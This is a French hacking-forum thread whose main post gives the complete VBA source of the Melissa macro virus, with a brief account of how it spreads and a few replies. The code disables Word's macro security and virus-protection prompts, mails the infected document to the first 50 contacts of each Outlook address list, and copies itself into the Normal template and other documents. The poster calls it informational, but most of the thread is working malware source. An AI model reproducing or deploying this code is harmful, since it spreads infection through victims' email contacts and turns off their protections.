[Code Source] Virus Melissa

Moderator: Mod

[Code Source] Virus Melissa

Postby HackAngel » Fri Mar 28, 2008 11:19 pm

Publié à titre informatif uniquement.

Melissa a besoin d'un environnement très particulier pour se répandre : il lui faut le traitement de texte Word (version 97 ou 2000) et le logiciel de messagerie Microsoft Outlook (tout court). Les utilisateurs d'Outlook Express peuvent se rassurer : Melissa ne passe pas par leur logiciel.

[b:6d3fb2fb7b]Comment se propage Melissa ?[/b:6d3fb2fb7b]

Vous recevez d'abord un e-mail venant d'une personne que vous connaissez. Il est intitulé "Important Message from" suivi du nom de cette personne. Est joint à ce courrier un fichier Word d'environ 40 Ko, nommé list.doc. Ce document contient une liste d'adresses de sites pornographiques (pas originaux, décidément ces pirates...).
Une fois ce document ouvert, le virus (contenu dans une macro) recherche le carnet d'adresses (Address Book) d'Outlook et envoie une copie du message d'origine aux 50 premières adresses trouvées. La boucle est bouclée...

[b:6d3fb2fb7b]Ca fait mal docteur ?[/b:6d3fb2fb7b]

Apparemment, le virus ne provoque pas de dégâts. Il provoque en revanche des surcharges dans les serveurs de courriers électroniques.

[b:6d3fb2fb7b]Source: [/b:6d3fb2fb7b][url]http://www.arobase.org/virus/melissa.htm[/url]

[code:1:6d3fb2fb7b]// Melissa Virus Source Code

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game's over.
I'm outta here."
End Sub[/code:1:6d3fb2fb7b]

Pour la Liberté...

HackAngel
User avatar
HackAngel
 
Posts: 871
Joined: Tue Dec 25, 2007 11:14 pm
Location: Quelque part entre ici et ailleurs...

Postby ANTPIRG » Sat Aug 30, 2008 3:17 pm

Ces programmé en delphi ? je pose la question comme je trouve que sa y ressemble.
ANTPIRG
Projets
 
Posts: 132
Joined: Sat Aug 30, 2008 10:22 am

Postby HackAngel » Mon Sep 01, 2008 2:14 pm

Oulah... Il va falloir retravailler tout ça sérieusement... ;)

Blague à part, non, ce n'est pas du delphi. C'est beaucoup plus... Basique...

Pour la Liberté...

HackAngel
User avatar
HackAngel
 
Posts: 871
Joined: Tue Dec 25, 2007 11:14 pm
Location: Quelque part entre ici et ailleurs...

Postby THEO75 » Tue Sep 02, 2008 6:26 pm

je suppose que sa ne marche pas pour hotmail, pas vrai?
THEO75
Projets
 
Posts: 17
Joined: Sun Aug 31, 2008 1:37 pm
Location: Everywhere

Postby HackAngel » Tue Sep 02, 2008 6:51 pm

Non mais vraiment, si un virus vieux de presque dix ans peut encore infecter qui que ce soit, je ne saurai trop recommander à cette personne de revendre tout matériel informatique et de se mettre d'urgence à la couture...

De toutes manières, je n'ai pas publié ce code pour qu'il soit utilisé, mais parce que pour apprendre du code, il faut lire du code, et que les codes viraux sont une bonne illustration des possibilités effectives d'interactions du langage informatique.

Au-delà de cela, je renvoie toute personne désirant utiliser ce code à des fins malveillantes vers la section "droit et textes de loi" du forum pour connaitre les peines encourues pour l'utilisation de tout programme nuisible.

A bon entendeur...

Pour la Liberté...

HackAngel
User avatar
HackAngel
 
Posts: 871
Joined: Tue Dec 25, 2007 11:14 pm
Location: Quelque part entre ici et ailleurs...


Return to Virologie informatique

Who is online

Users browsing this forum: No registered users and 1 guest

cron